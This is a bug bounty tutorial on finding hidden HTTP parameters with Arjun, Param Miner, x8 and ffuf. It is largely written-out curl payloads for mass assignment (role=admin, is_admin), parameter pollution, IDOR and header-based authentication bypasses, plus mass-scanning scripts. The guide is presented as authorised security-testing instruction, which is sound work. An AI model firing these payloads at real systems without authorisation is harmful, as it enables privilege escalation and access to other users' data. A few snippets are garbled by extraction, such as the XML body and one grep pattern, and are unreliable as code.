HIDDEN PARAMETER DISCOVERY

Bug Bounty Hunting Guide

Parameter Fuzzing | Mass Assignment | IDOR | Privilege Escalation

Arjun | Param Miner | x8 | Burp Suite

2025 Edition

Table of Contents

1. Introduction to Hidden Parameters

Hidden parameters are request parameters that an application supports but does not expose in the user interface. They may be leftover from development, used by internal APIs, or intended for admin functionality. Discovering these parameters can lead to critical vulnerabilities including mass assignment, privilege escalation, IDOR, and access control bypasses.

> **Why Hidden Parameters Matter**
>
> Applications often accept more parameters than they display. A profile update endpoint might accept a `role` or `is_admin` parameter that, when supplied, grants elevated privileges. Similarly, an API might support `debug=true` that exposes internal error messages or stack traces.

Vulnerability	Hidden Parameter Example	Impact
Mass Assignment	`role=admin` , `is_admin=true`	Privilege escalation
IDOR	`user_id=1234` , `account_id=5678`	Access to other users' data
Debug Mode	`debug=1` , `dev=true`	Information disclosure
Feature Toggle	`beta_feature=true`	Access to unreleased features
Cache Poisoning	`X-Forwarded-Host`	Stored XSS or redirect attacks
Price Manipulation	`price=1` , `amount=0.01`	Business logic flaw
SQL Injection	`order=price DESC`	Data extraction via SQLi

> **Key Insight**
>
> Every endpoint that accepts parameters should be tested for hidden parameters. This includes **GET**, **POST**, **PUT**, **PATCH**, **DELETE** requests, as well as custom headers. The parameter name determines the vulnerability type.

2. Understanding Parameter Types

2.1 Query Parameters (GET)

GET parameters appear in the URL after the question mark. They are the most commonly tested but often the most protected. Hidden GET parameters can leak information or change application behavior.

```
# Standard GET request
curl https://target.com/api/users?page=1&limit=10

# Testing for hidden GET parameters
curl https://target.com/api/users?page=1&debug=1
curl https://target.com/api/users?page=1&role=admin
curl https://target.com/api/users?page=1&order=id%20desc

# Multiple hidden parameters
curl "https://target.com/api/search?q=test&category=all&debug=true&verbose=1"
```

2.2 Body Parameters (POST)

POST parameters are sent in the request body. Form submissions, login requests, and profile updates all use POST parameters. Hidden POST parameters are extremely common and often lead to mass assignment.

```
# Standard form POST
curl -X POST https://target.com/api/profile \
  -d "name=John&email=john@test.com"

# Testing hidden POST parameters
curl -X POST https://target.com/api/profile \
  -d "name=John&email=john@test.com&role=admin&is_admin=true"

# JSON body with hidden parameter
curl -X POST https://target.com/api/profile \
  -H "Content-Type: application/json" \
  -d '{"name":"John","email":"john@test.com","role":"admin"}'

# Test for array-based mass assignment
curl -X POST https://target.com/api/profile \
  -H "Content-Type: application/json" \
  -d '{"user":{"name":"John","role":"admin"}}'
```

2.3 Header Parameters

Some applications check custom headers that control behavior, authentication, or routing. These headers are invisible in the UI but can be powerful attack vectors.

```
# Common header parameters to test
curl https://target.com/api/users -H "X-User-Id: 1234"
curl https://target.com/api/users -H "X-Admin: true"
curl https://target.com/api/users -H "X-Debug: 1"
curl https://target.com/api/users -H "X-Internal: true"

# Cache-related headers
curl https://target.com/api/users -H "X-Forwarded-Host: evil.com"
curl https://target.com/api/users -H "X-Original-Url: /admin"
curl https://target.com/api/users -H "X-Rewrite-Url: /admin"

# Authentication bypass headers
curl https://target.com/api/admin -H "X-Original-Url: /admin"
curl https://target.com/api/admin -H "X-Custom-Authorization: admin"
curl https://target.com/api/admin -H "X-Role: administrator"
```

2.4 JSON/XML Parameters

APIs that accept JSON or XML bodies may process additional fields beyond those documented. This is the foundation of mass assignment attacks in REST APIs.

```
# JSON parameter testing
curl -X POST https://target.com/api/users \
  -H "Content-Type: application/json" \
  -d '{"name":"test","email":"test@test.com","role":"admin","isAdmin":true}'

# Nested JSON objects
curl -X POST https://target.com/api/users \
  -H "Content-Type: application/json" \
  -d '{"user":{"name":"test","permissions":{"admin":true,"superuser":true}}}'

# XML parameter testing
curl -X POST https://target.com/api/users \
  -H "Content-Type: application/xml" \
  -d 'testadmin'

# Test different JSON boolean representations
curl -X POST https://target.com/api/users \
  -H "Content-Type: application/json" \
  -d '{"name":"test","is_admin":true,"isAdmin":true,"admin":1,"role":"admin"}'
```

2.5 Path Parameters

Some frameworks allow parameters to be passed as part of the URL path using semicolons or matrix parameters. These are often overlooked.

```
# Matrix/path parameters
curl https://target.com/api/users;role=admin
curl https://target.com/api/users;debug=true
curl https://target.com/api/users;format=json

# Double URL encoding bypass
curl https://target.com/api/users%3Brole%3Dadmin

# Parameter in path with different separators
curl https://target.com/api/users,role=admin
curl https://target.com/api/users/role=admin
```

3. Arjun - Hidden Parameter Discovery

Arjun by @s0md3v is a multi-threaded Python tool for finding hidden HTTP parameters. It supports GET, POST, JSON, and XML parameter discovery with automatic response analysis.

```
# Basic GET parameter discovery
arjun -u https://target.com/api/search?q=test

# POST form parameter discovery
arjun -u https://target.com/api/profile -m POST

# JSON body parameter discovery
arjun -u https://target.com/api/users -m JSON

# XML body parameter discovery
arjun -u https://target.com/api/users -m XML

# Use custom wordlist
arjun -u https://target.com/api/search -w /usr/share/seclists/Discovery/Web-Content/
burp-parameter-names.txt

# Specify multiple parameters to skip (known good)
arjun -u https://target.com/api/search -q "q=known&page=1"

# Deep scan with stable detection
arjun -u https://target.com/api/search --stable

# Save output to file
arjun -u https://target.com/api/search -oT arjun_results.txt

# Scan with specific threads and timeout
arjun -u https://target.com/api/search -t 20 --timeout 10

# JSON output for automation
arjun -u https://target.com/api/search -oJ arjun_results.json
```

Flag	Description	Example
`-u`	Target URL	Required
`-m`	Method: GET, POST, JSON, XML	`-m JSON`
`-w`	Custom wordlist	`-w params.txt`
`-q`	Known parameters to skip	`-q "page=1"`
`-t`	Threads (default: 5)	`-t 20`
`--stable`	Stable mode for unstable targets	Recommended
`--timeout`	Request timeout	`--timeout 15`
`-oT`	Text output file	`-oT out.txt`
`-oJ`	JSON output file	`-oJ out.json`

Arjun Mass Scan Pipeline

```
# Run Arjun on all discovered endpoints
cat endpoints.txt | while read url; do
  echo "Scanning: $url"
  arjun -u "$url" -m GET -oT "arjun_get_$(echo $url | md5sum | cut -d' ' -f1).tx
t" -t 10
done
```

Active arjun

4. Param Miner (Burp Suite)

Param Miner is a Burp Suite extension by James Kettle (@albinowax) that uses a binary search algorithm to efficiently discover hidden parameters, headers, and cookies. It is the most sophisticated parameter discovery tool available.

Key Features

- Binary search for fast discovery (tests thousands in seconds)
- Guesses parameters, headers, and cookies
- Customizable wordlists

- Automatically detects reflection and behavioral changes
- Supports nested parameters and JSON fields

```
# Installation:
# 1. Burp Suite -> Extender -> BApp Store -> Search "Param Miner" -> Install

# Usage - Guess GET Parameters:
# 1. Intercept a request in Burp Proxy
# 2. Right-click -> Extensions -> Param Miner -> Guess GET parameters
# 3. Param Miner will add discovered params to the Target site map

# Usage - Guess Headers:
# 1. Right-click request -> Extensions -> Param Miner -> Guess headers
# 2. Tests common headers like X-Forwarded-For, X-Original-URL, etc.

# Usage - Guess Cookies:
# 1. Right-click request -> Extensions -> Param Miner -> Guess cookies
# 2. Discovers hidden cookie-based parameters

# Usage - Guess JSON parameters:
# 1. Send JSON request to Repeater
# 2. Right-click -> Extensions -> Param Miner -> Guess JSON parameters
# 3. Discovers hidden JSON fields

# Wordlist customization:
# Extender -> Extensions -> Param Miner -> Options
# Add custom wordlists for parameter names
```

> **Param Miner vs Arjun**
>
> Use **Param Miner** for deep testing of individual requests (especially with Burp's session handling), and **Arjun** for bulk scanning multiple URLs. Param Miner's binary search is faster for large wordlists on single endpoints, while Arjun is better for automation pipelines.

Param Miner + Autorize Combo

Combine Param Miner with Autorize extension for authorization testing on discovered parameters.

```
# 1. Use Param Miner to discover hidden parameters
# 2. For each discovered parameter, Autorize tests if:
#    - Low-priv user can access admin endpoints
#    - Unauthenticated users can access authenticated endpoints
# 3. Report any authorization bypasses found
```

Burp Suite Pro Tip

5. x8 - Rust Parameter Discovery

x8 is an extremely fast hidden parameter discovery tool written in Rust. It uses multiple test values and advanced filtering to minimize false positives.

```
# Basic parameter discovery
x8 -u "https://target.com/api/search" -w params.txt

# POST parameter discovery
x8 -u "https://target.com/api/login" -w params.txt -X POST

# JSON body parameter discovery
x8 -u "https://target.com/api/users" -w params.txt -X POST -t json

# Multiple test values (detects different response types)
x8 -u "https://target.com/api/search" -w params.txt --test-values "test,1,true,null"

# Include reflections in output
x8 -u "https://target.com/api/search" -w params.txt --reflections

# Use proxy for traffic inspection
x8 -u "https://target.com/api/search" -w params.txt --proxy http://127.0.0.1:8080

# Custom headers
x8 -u "https://target.com/api/search" -w params.txt -H "Authorization: Bearer TOKEN"

# Output in JSON format
x8 -u "https://target.com/api/search" -w params.txt -o results.json
```

Flag	Description
`-w`	Wordlist file (required)
`-X`	HTTP method
`-t`	Body type: form, json, xml
`--test-values`	Comma-separated test values
`--reflections`	Output reflected parameter values
`--proxy`	HTTP proxy
`--delay`	Delay between requests
`-o`	Output file

x8 Speed Comparison Pipeline

```
# x8 is significantly faster than Python tools
# Benchmark all three on the same endpoint

time arjun -u "https://target.com/api/search" -t 20
# ~2-5 minutes for 10k parameters

time x8 -u "https://target.com/api/search" -w /usr/share/seclists/Discovery/Web-
Content/burp-parameter-names.txt
# ~10-30 seconds for 10k parameters

# For bulk scanning, x8 is the clear winner
cat endpoints.txt | while read url; do
  x8 -u "$url" -w params.txt --reflections -o "x8_$(echo $url | md5sum | cut -d'
' -f1).json"
done
```

x8 Active

6. Ffuf for Parameter Fuzzing

Ffuf is a general-purpose web fuzzer that works well for parameter discovery when you need fine-grained control over requests.

```
# GET parameter fuzzing
ffuf -u "https://target.com/api/search?q=test&FUZZ=test" \
  -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
  -fs 0 -mc 200

# POST parameter fuzzing
ffuf -u "https://target.com/api/login" \
  -X POST -d "username=test&password=test&FUZZ=test" \
  -w params.txt -fs 0

# JSON parameter fuzzing
ffuf -u "https://target.com/api/users" \
  -X POST -H "Content-Type: application/json" \
  -d '{"name":"test","FUZZ":"test"}' \
  -w params.txt -fs 0

# Multiple parameters (cluster bomb mode)
ffuf -u "https://target.com/api/search?FUZZ1=FUZZ2" \
  -w params.txt:FUZZ1 -w values.txt:FUZZ2 \
  -mode clusterbomb -fs 0

# Header parameter fuzzing
ffuf -u "https://target.com/api/users" \
  -H "FUZZ: test" \
  -w header_params.txt -fs 0

# Filter by response size (exclude baseline)
ffuf -u "https://target.com/api/search?FUZZ=test" \
  -w params.txt -fs 2345 -mc 200

# Match by response word count change
ffuf -u "https://target.com/api/search?FUZZ=test" \
  -w params.txt -fw 15
```

> **Ffuf Tip: Baseline Filtering**
>
> Always determine the baseline response first (request without the test parameter), then use `-fs` to filter out matching sizes. Parameters that change the response size are likely being processed by the application.

7. Wordlists for Parameter Names

The quality of your wordlist determines discovery success. Use these curated wordlists and build custom ones from the target application itself.

Wordlist	Path	Size	Use Case
Burp parameter names	`seclists/Discovery/Web-Content/burp-parameter-names.txt`	~2,500	General purpose
API parameters	`seclists/Discovery/Web-Content/api/actions.txt`	~500	API endpoint params
Common parameters	`seclists/Discovery/Web-Content/common.txt`	~4,700	Broad coverage
RAFT parameters	`seclists/Discovery/Web-Content/raft-large-words.txt`	~120k	Deep scanning
Arjun default	Built-in	~10,000	Arjun optimized
Param Miner	Built-in	~40,000	Header + param names

Custom Wordlist Generation

```
# Extract parameters from JavaScript files
curl -s https://target.com/app.js | grep -oE '[a-zA-Z_][a-zA-Z0-9_]*=' | sort -u > j
s_params.txt

# Extract from API documentation
curl -s https://target.com/swagger.json | jq -r '.paths[].[].parameters[].name' | so
rt -u > swagger_params.txt

# Extract from source code comments
curl -s https://target.com/app.js | grep -oE '/\*.*\*/' | grep -oE '[a-zA-Z_][a-zA-Z
0-9_]*' | sort -u

# Build combined wordlist
cat /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
    js_params.txt swagger_params.txt | sort -u > combined_params.txt

# Add common admin/debug parameters
cat >> combined_params.txt << 'EOF'
debug
dev
admin
role
is_admin
isAdmin
permission
superuser
internal
mode
test
sandbox
staging
beta
preview
ver
version
api_key
apikey
api_secret
EOF
```

Generate Target-Specific Wordlist from HTML

```
# Extract all name= and id= attributes from HTML
curl -s https://target.com | grep -oE '(name|id)="[^"]+"' | \
  sed 's/name="//g; s/id="//g; s/"//g' | sort -u > html_params.txt

# Extract from all forms on the site
curl -s https://target.com | grep -oE ']*>' | \
  grep -oE 'name="[^"]+"' | sed 's/name="//g; s/"//g' | sort -u
```

Passive bash

8. Mass Assignment Attacks

Mass assignment (autobinding) occurs when an application automatically binds client-provided input to internal objects or database fields. By adding extra parameters to a request, attackers can modify fields they should not have access to.

```
# Basic mass assignment on user profile
curl -X POST https://target.com/api/profile \
  -H "Content-Type: application/json" \
  -d '{"name":"John","email":"john@test.com","role":"admin"}'

# Rails-style mass assignment
curl -X POST https://target.com/api/users \
  -H "Content-Type: application/json" \
  -d '{"user":{"name":"test","email":"test@test.com","admin":true,"role":"superadmi
n"}}'

# Testing multiple sensitive fields simultaneously
curl -X POST https://target.com/api/profile \
  -H "Content-Type: application/json" \
  -d '{
    "name": "test",
    "email": "test@test.com",
    "role": "admin",
    "is_admin": true,
    "isAdmin": true,
    "admin": 1,
    "permissions": ["read", "write", "delete", "admin"],
    "group": "administrators",
    "type": "admin",
    "account_type": "premium",
    "verified": true,
    "active": true,
    "status": "active"
  }'

# Django-style mass assignment
curl -X POST https://target.com/api/users \
  -H "Content-Type: application/json" \
  -d '{"username":"test","email":"test@test.com","is_staff":true,"is_superuser":tru
e}'
```

Framework	Vulnerable Pattern	Test Parameters
Ruby on Rails	`params[:user]` passed to model	`role`, `admin`, `is_admin`
Django	`ModelForm` without fields/exclude	`is_staff`, `is_superuser`
Laravel	`$request->all()` in fill	`role`, `type`, `status`
Express.js	`Object.assign(user, req.body)`	`role`, `permissions`
ASP.NET	`TryUpdateModel` without whitelist	`Role`, `IsAdmin`
Spring Boot	`@ModelAttribute` binding	`role`, `authorities`

Important: Check the Response

After sending mass assignment payloads, always check the response and subsequent GET requests. Some applications silently accept the parameter but do not process it. A successful mass assignment usually shows the modified field reflected in the response or in a subsequent profile fetch.

9. HTTP Parameter Pollution (HPP)

HPP involves submitting multiple parameters with the same name to exploit how different frameworks, servers, and applications handle duplicate parameters. This can lead to WAF bypasses, logic flaws, and authentication bypasses.

```
# Supply duplicate parameters with different values
curl "https://target.com/api/transfer?amount=100&amount=999999"

# Different frameworks parse duplicates differently:
# PHP/Apache: uses LAST value  -> amount=999999
# ASP.NET/IIS: uses ALL values -> amount=100,999999
# JSP/Tomcat: uses FIRST value -> amount=100
# Python/Flask: uses FIRST value -> amount=100
# Node.js/Express: uses LAST value -> amount=999999

# WAF bypass via HPP
curl "https://target.com/api/search?q=safe&q="
# WAF checks first parameter, app processes second

# Auth bypass with HPP
curl -X POST https://target.com/api/login \
  -d "username=admin&username=victim&password=test"

# IDOR via HPP
curl "https://target.com/api/orders?user_id=attacker&user_id=victim"

# Array parameter confusion
curl "https://target.com/api/roles?role[]=user&role[]=admin"
```

HPP Behavior by Technology

Technology	Duplicate Handling	Array Syntax
PHP/Apache	Last value wins	`param[]`
ASP.NET/IIS	Comma-separated list	`param=1¶m=2`
JSP/Tomcat	First value wins	`param=1¶m=2`
Python/Flask	First value wins	`param=1¶m=2`
Node.js/Express	Array or last value	`param[]=1¶m[]=2`

10. Header-Based Discovery

Custom HTTP headers can trigger hidden functionality, bypass authentication, or alter application behavior. Many headers are processed by frameworks, load balancers, and proxies before reaching the application.

```
# Common headers that reveal debug info
curl https://target.com/api/users -H "X-Debug: true"
curl https://target.com/api/users -H "X-Debug-Mode: 1"
curl https://target.com/api/users -H "Debug: 1"

# Internal routing headers
curl https://target.com/api/users -H "X-Original-URL: /admin"
curl https://target.com/api/users -H "X-Rewrite-URL: /admin"
curl https://target.com/api/users -H "X-Forwarded-Path: /admin"

# Client IP headers (potential bypass)
curl https://target.com/api/admin -H "X-Forwarded-For: 127.0.0.1"
curl https://target.com/api/admin -H "X-Real-IP: 127.0.0.1"
curl https://target.com/api/admin -H "X-Client-IP: 127.0.0.1"
curl https://target.com/api/admin -H "X-Remote-IP: 127.0.0.1"
curl https://target.com/api/admin -H "X-Originating-IP: 127.0.0.1"

# Authentication-related headers
curl https://target.com/api/admin -H "X-Internal-Auth: true"
curl https://target.com/api/admin -H "X-Internal-Request: 1"
curl https://target.com/api/admin -H "X-Authorized: true"

# Host and routing
curl https://target.com/api/users -H "X-Forwarded-Host: internal.target.com"
curl https://target.com/api/users -H "X-Host: internal.target.com"
curl https://target.com/api/users -H "Forwarded: for=127.0.0.1;host=admin.target.co
m"

# Content negotiation
curl https://target.com/api/users -H "Accept: application/vnd.debug+json"
curl https://target.com/api/users -H "Accept: application/xml"
```

Header Fuzzing with Ffuf

```
# Fuzz for behavior-changing headers
ffuf -u https://target.com/api/users \
  -H "FUZZ: true" \
  -w /usr/share/seclists/Discovery/Web-Content/BurpSuite-ParamNames/headers.txt
\
  -fs 0 -mc 200 -fw 15

# Create a focused header wordlist
cat > headers_focused.txt << 'EOF'
X-Debug
X-Debug-Mode
Debug
X-Original-URL
X-Rewrite-URL
X-Forwarded-For
X-Real-IP
X-Internal-Auth
X-Internal-Request
X-Authorized
X-Forwarded-Host
X-Host
Forwarded
Accept
Content-Type
X-Requested-With
X-Custom-Authorization
EOF

ffuf -u https://target.com/api/users -H "FUZZ: test" -w headers_focused.txt -fs
0
```

ffuf Active

11. Common Vulnerable Parameters

Based on bug bounty reports and real-world findings, these parameter names have the highest probability of yielding critical vulnerabilities.

Category	Parameter Names	Expected Vulnerability
Privilege	`role`, `type`, `group`, `level`, `privilege`, `permission`, `access`	Mass assignment, privilege escalation
Admin Flags	`admin`, `is_admin`, `isAdmin`, `is_staff`, `is_superuser`, `administrator`	Mass assignment
Debug	`debug`, `dev`, `test`, `mode`, `verbose`, `trace`, `logging`	Information disclosure
Environment	`env`, `environment`, `stage`, `sandbox`, `preview`	Feature access, debug mode
IDOR	`user_id`, `userId`, `account_id`, `id`, `uid`, `owner`, `customer_id`	IDOR, account takeover
Business Logic	`price`, `amount`, `discount`, `coupon`, `total`, `quantity`, `currency`	Price manipulation
Export/Format	`format`, `export`, `download`, `output`, `ext`, `type`	Arbitrary file read
Redirect	`redirect`, `return`, `return_url`, `next`, `url`, `callback`	Open redirect, SSRF
File Operations	`file`, `path`, `filename`, `dir`, `directory`, `location`	LFI, path traversal, RCE
API Keys	`api_key`, `apikey`, `api_secret`, `token`, `auth`, `key`, `secret`	Auth bypass, credential leak
JSONP/Callback	`callback`, `jsonp`, `cb`, `function`	XSS via JSONP
Reference Objects	`obj`, `object`, `class`, `model`, `bean`, `entity`	Mass assignment (Java/Rails)

Boolean Parameter Testing

When you suspect a boolean parameter exists, test multiple representations:

```
# Test all boolean variants for suspected parameters
curl -X POST https://target.com/api/profile \
  -H "Content-Type: application/json" \
  -d '{"is_admin": true}'

curl -X POST https://target.com/api/profile \
  -H "Content-Type: application/json" \
  -d '{"is_admin": "true"}'

curl -X POST https://target.com/api/profile \
  -H "Content-Type: application/json" \
  -d '{"is_admin": 1}'

curl -X POST https://target.com/api/profile \
  -H "Content-Type: application/json" \
  -d '{"is_admin": "1"}'

curl -X POST https://target.com/api/profile \
  -H "Content-Type: application/json" \
  -d '{"is_admin": "yes"}'
```

12. One-Liners & Automation

Full Endpoint Parameter Scanning

```
# Scan all GET endpoints with Arjun
cat live_get_urls.txt | while read url; do
  arjun -u "$url" -t 15 --stable -oT "arjun_$(echo "$url" | md5sum | cut -d' ' -
f1).txt"
done

# Scan all POST endpoints with x8
cat live_post_urls.txt | while read url; do
  x8 -u "$url" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-name
s.txt \
     -X POST -t json --reflections -o "x8_$(echo "$url" | md5sum | cut -d' ' -f
1).json"
done
```

Active arjun x8

Mass Assignment Auto-Testing

```
# Test all POST endpoints for mass assignment
cat post_endpoints.txt | while read url; do
  # Test with admin-related parameters
  response=$(curl -s -X POST "$url" \
    -H "Content-Type: application/json" \
    -d '{"role":"admin","is_admin":true}' \
    -w "\n%{http_code}")
  code=$(echo "$response" | tail -1)
  body=$(echo "$response" | head -n -1)
  if echo "$body" | grep -qi "admin\|success"; then
    echo "POTENTIAL: $url (HTTP $code)"
  fi
done
```

Active Automation

Swagger/OpenAPI Parameter Extraction + Testing

```
# Extract all parameters from swagger and test each
curl -s https://target.com/swagger.json | jq -r '
  .paths | to_entries[] |
  .key as $path |
  .value | to_entries[] |
  .key as $method |
  .value.parameters? // [] |
  .[] | select(.name) |
  "\($method | ascii_upcase) \($path) - \(.name):\(.type // .schema?.type // "un
known")"
'

# Test each discovered parameter with an admin value
curl -s https://target.com/swagger.json | jq -r '
  [.paths | to_entries[] |
  .key as $path |
  .value | to_entries[] |
  select(.key == "post" or .key == "put" or .key == "patch") |
  .value.parameters? // [] |
  .[] | select(.name) | .name] | unique[]
' > discovered_params.txt

# Combine with fuzzing wordlist
cat discovered_params.txt burp-parameter-names.txt | sort -u > combined_params.t
xt
```

Passive jq

Header Discovery Pipeline

```
# Test all behavior-changing headers on admin endpoints
cat admin_endpoints.txt | while read url; do
  for header in "X-Original-URL" "X-Rewrite-URL" "X-Forwarded-For" \
                "X-Internal-Auth" "X-Debug" "X-Admin" "X-Role"; do
    status=$(curl -s -o /dev/null -w "%{http_code}" \
      "$url" -H "$header: true" -L)
    if [ "$status" = "200" ]; then
      echo "SUCCESS: $url with $header"
    fi
  done
done
```

Active bash

Complete Hidden Parameter Recon Pipeline

```
# Ultimate parameter discovery pipeline
subfinder -d target.com -silent | \
  httpx -silent -mc 200,301 | \
  tee live_hosts.txt | \
  katana -u - -jc -d 3 | \
  tee crawled_urls.txt | \
  grep -E '\?(.*=)' > urls_with_params.txt

# Extract existing parameters from discovered URLs
cat urls_with_params.txt | \
  grep -oP '(?<=\?|&)[^=]+' | sort -u > existing_params.txt

# Run Arjun on URLs that already have parameters (higher chance of hidden param
s)
cat urls_with_params.txt | while read url; do
  arjun -u "$url" -t 10 --stable -oT arjun_results.txt
done

# Run x8 on all POST endpoints
cat crawled_urls.txt | grep -i "post\|put\|patch" | while read url; do
  x8 -u "$url" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-name
s.txt \
     --reflections -o x8_results.json
done
```

Passive Active

13. Tips, Tricks & Methodology

Tips for Effective Parameter Discovery

Tip 1: Focus on State-Changing Endpoints

Prioritize POST, PUT, and PATCH endpoints over GET endpoints. Hidden parameters on read-only endpoints are less likely to yield critical findings. Profile updates, password changes, and resource creation endpoints are prime targets for mass assignment.

Tip 2: Test Boolean Parameters Thoroughly

Applications may accept `true`, `"true"`, `1`, `"1"`, or `"yes"` differently. Always test all variants. Some frameworks convert string "true" to boolean, while others do not.

Tip 3: Look for Parameter Reflection

When a parameter is reflected in the response, it is being processed by the application. Use `--reflections` flag in x8 or manually check if your test value appears in the response body.

Tip 4: Check Different Content Types

An endpoint might accept JSON parameters but not form-encoded, or vice versa. Always test with the correct Content-Type header. Some endpoints accept multiple formats.

Tip 5: Time-Based Detection

For blind parameter discovery, compare response times. A parameter that triggers a database query (e.g., `debug=true`) may have a measurably different response time. Use this when reflection is not available.

Tip 6: Parameter Name Variations

Test multiple naming conventions: `user_id`, `userId`, `UserId`, `user-id`, `uid`. Different frameworks prefer different conventions, and the application may only check one variant.

Tip 7: Nested JSON Objects

Modern APIs often accept nested objects. Try `{"user": {"role": "admin"}}` in addition to flat parameters. Frameworks like Rails and Laravel commonly use nested object binding.

Tip 8: Array Parameters

Some endpoints accept arrays: `role[]=user&role[]=admin`. If the application iterates over roles, adding "admin" to the array may grant elevated privileges.

Responsible Testing

When testing mass assignment on production endpoints, use non-destructive values. Instead of setting `role=admin` on your own account (which may lock you out), test with values like `role=test123` and check if the response reflects the change. Confirm vulnerability without causing service disruption.

Methodology Checklist

Step	Action	Tool
1	Discover endpoints with parameters	Katana, Gospider, Burp
2	Extract existing parameters from URLs/HTML	grep, custom scripts
3	Run automated parameter discovery on GET URLs	Arjun, x8
4	Run automated discovery on POST/PUT/PATCH	x8, Arjun, Param Miner
5	Test header-based parameters	Ffuf, Param Miner
6	Test mass assignment on all state-changing endpoints	curl, custom scripts
7	Test HTTP Parameter Pollution on sensitive endpoints	curl
8	Verify findings and document behavior changes	Manual testing

14. Tools Comparison Matrix

Tool	Speed	Methods	Body Types	Headers	Best For
Arjun	Medium	GET, POST, JSON, XML	form, json, xml	No	General purpose, JSON/XML support
Param Miner	Fast	GET, POST, etc.	form, json	Yes	Burp integration, header discovery
x8	Very Fast	All	form, json, xml	No	Bulk scanning, speed-critical
Ffuf	Very Fast	All	Custom	Yes	Fine-grained control, header fuzzing
wfuzz	Fast	All	Custom	Yes	Python ecosystem integration

Remember

Hidden parameter discovery is one of the most rewarding techniques in bug bounty hunting. A single discovered parameter like `role=admin` or `debug=true` can lead to Critical findings. Always test every endpoint, use quality wordlists, and verify behavior changes. Combine multiple tools - Arjun for JSON/XML, x8 for speed, Param Miner for headers, and ffuf for fine-grained control. Persistence and thoroughness separate good hunters from great ones.